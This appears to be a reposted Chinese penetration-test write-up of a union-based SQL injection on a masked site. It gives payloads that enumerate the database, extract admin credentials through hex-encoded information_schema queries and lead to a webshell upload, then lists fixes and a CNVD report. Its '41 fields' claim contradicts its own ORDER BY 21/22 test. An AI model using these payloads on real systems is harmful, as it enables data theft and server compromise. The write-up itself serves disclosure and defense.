记一次渗透测试实战:SQL注入漏洞的挖掘与利用

server/2025/3/5 9:08:44/

0x01 漏洞发现

在对某网站进行安全测试时,发现以下URL存在异常:

https://******.com/search.php?keyword=1&zt=1954&dw=1885&zz=&

当参数keywordzt被赋值为-1时页面返回特殊内容,初步判断存在SQL注入漏洞

0x02 注入验证与字段探测

1. 字段数量判断

通过order by语句测试字段数:

https://******.com/search1.php?keyword=-1&zt=-1 order by 21--+  # 正常返回
https://******.com/search1.php?keyword=-1&zt=-1 order by 22--+  # 报错

确认当前查询字段数为41个。

2. 联合查询定位回显点

https://******.com/search1.php?keyword=-1&zt=-1 union select 1,2,3,...,21--+

页面显示数字3,确定第三个字段为回显位

0x03 信息收集

1. 基础信息获取

# 获取数据库用户
union select 1,2,user(),4,...,21--+  --> root@localhost# 获取当前数据库
union select 1,2,database(),4,...,21--+  --> j**j# 获取数据库版本
union select 1,2,version(),4,...,21--+  --> 8.0.34

2. 表名爆破(十六进制绕过)

union select 1,2,group_concat(table_name),4,...,21
from information_schema.tables 
where table_schema=0x6****b6a--+  # j**j的十六进制编码

返回关键表名:****_admin

0x04 敏感数据提取

1. 列名获取

union select 1,2,group_concat(column_name),4,...,21 
from information_schema.columns 
where table_name=0x776b63****46d696e--+  # ****_admin的十六进制

2. 管理员凭证提取

union select 1,2,group_concat(*****_name,0x3a,*****_pwd),4,...,21 
from ****_admin--+

返回加密凭证:usernmae:password

0x05 后台登录与后续渗透

  1. 通过解密获得明文密码 *****

  2. 成功登录后台:https://*****.com/admin/login.php

  3. 通过某处上传功能上传一句话木马获取服务器权限

0x06 漏洞修复建议

  1. 输入过滤:对参数进行类型强制转换(如intval())

  2. 预编译语句:使用PDO或mysqli预处理

  3. 权限控制:避免使用root账号连接数据库

  4. WAF部署:拦截恶意SQL语句

  5. 加密存储:密码使用salt+哈希算法存储

0x07 漏洞提交与评分

本次发现的SQL注入漏洞已提交至CNVD(国家信息安全漏洞共享平台),经过审核,漏洞评分为 7.8(高危)
评分依据:

  • 漏洞类型:SQL注入

  • 影响范围:数据库敏感信息泄露

  • 危害程度:可获取管理员权限,进一步控制服务器

  • 修复难度:中等


郑重声明:本次渗透测试已获得合法授权,所有敏感信息均已脱敏处理。请勿将本文技术用于非法用途!


(注:文中所提到的漏洞已修复)



http://www.ppmy.cn/server/172560.html

相关文章

使用 Node.js 和 Follow 模块监控 CouchDB 数据库变更

在现代分布式系统中,实时监控数据库变更并将数据推送到消息队列(如 RabbitMQ)是一个常见需求。本文将介绍如何使用 Node.js、Nano 库和 Follow 模块实现对 CouchDB 数据库的变更监控,处理历史数据并无缝切换到实时监听。 背景 CouchDB 提供了强大的 _changes 端点,支持实…

罗德与施瓦茨SMBV100B,6G矢量信号发生器

罗德与施瓦茨SMBV100B矢量信号发生器6G​ 商品描述 罗德与施瓦茨SMBV100B矢量信号发生器6G SMBV100B矢量信号发生器的性能特性,包括高输出功率,宽调制带宽以及出色的信号质量。此仪器的频率范围介于8kHz至6GHz,覆盖数字无线通信的所有重要射…

【漫话机器学习系列】117.马修斯相关系数(Matthews Correlation Coefficient, MCC)

马修斯相关系数(MCC)详解 1. 引言 在机器学习和二分类问题中,我们通常使用各种指标来评估分类模型的性能,例如准确率(Accuracy)、精确率(Precision)、召回率(Recall&am…

【每日学点HarmonyOS Next知识】getContext问题、清除Web缓存、弹层的点击事件透传、去除间隙、侧滑菜单设置

【每日学点HarmonyOS Next知识】getContext问题、清除Web缓存、弹层的点击事件透传、去除间隙、侧滑菜单设置 1、HarmonyOS getContext()获取不到? 在两个不同的页面分别使用bindPopup与bindSheet弹出相同的弹窗,点击弹窗中的按钮跳转H5页面&#xff0…

SpringCloud系列教程(十二):网关配置动态路由

除了token以外,还有一个很实用的功能就是把网关的路由配置放到nacos上,并且修改路由配置的时候,网关服务可以动态的更新,这样我们在调整网络配置的时候,就不用重启服务了。所以我们需要用到两个重要的类:Na…

中科大计算机网络笔记第一章1.8 互联网历史笔记

计算机网络与互联网历史概述 一、早期通信方式 1. 线路交换 ‌时间‌:1960年之前‌特点‌: 线路建立时间长,代价高。线路资源独享,不适合突发性强的计算机通信。可靠性不高,核心节点损毁影响大。 二、分组交换理论的…

物理竞赛中的线性代数

线性代数 1 行列式 1.1 n n n 阶行列式 定义 1.1.1:称以下的式子为一个 n n n 阶行列式: ∣ A ∣ ∣ a 11 a 12 ⋯ a 1 n a 21 a 22 ⋯ a 2 n ⋮ ⋮ ⋱ ⋮ a n 1 a n 2 ⋯ a n n ∣ \begin{vmatrix}\mathbf A\end{vmatrix} \begin{vmatrix} a_{11…

翻译: 深入分析LLMs like ChatGPT 二

监督微调(SFT) 使用人工标注的对话数据集(如1M条"用户-助手"对话)继续训练模型。 标注员遵循指导原则编写理想回答,使模型学习助手的回应风格。 示例对话格式: [系统] 你是一个有帮助的AI助手……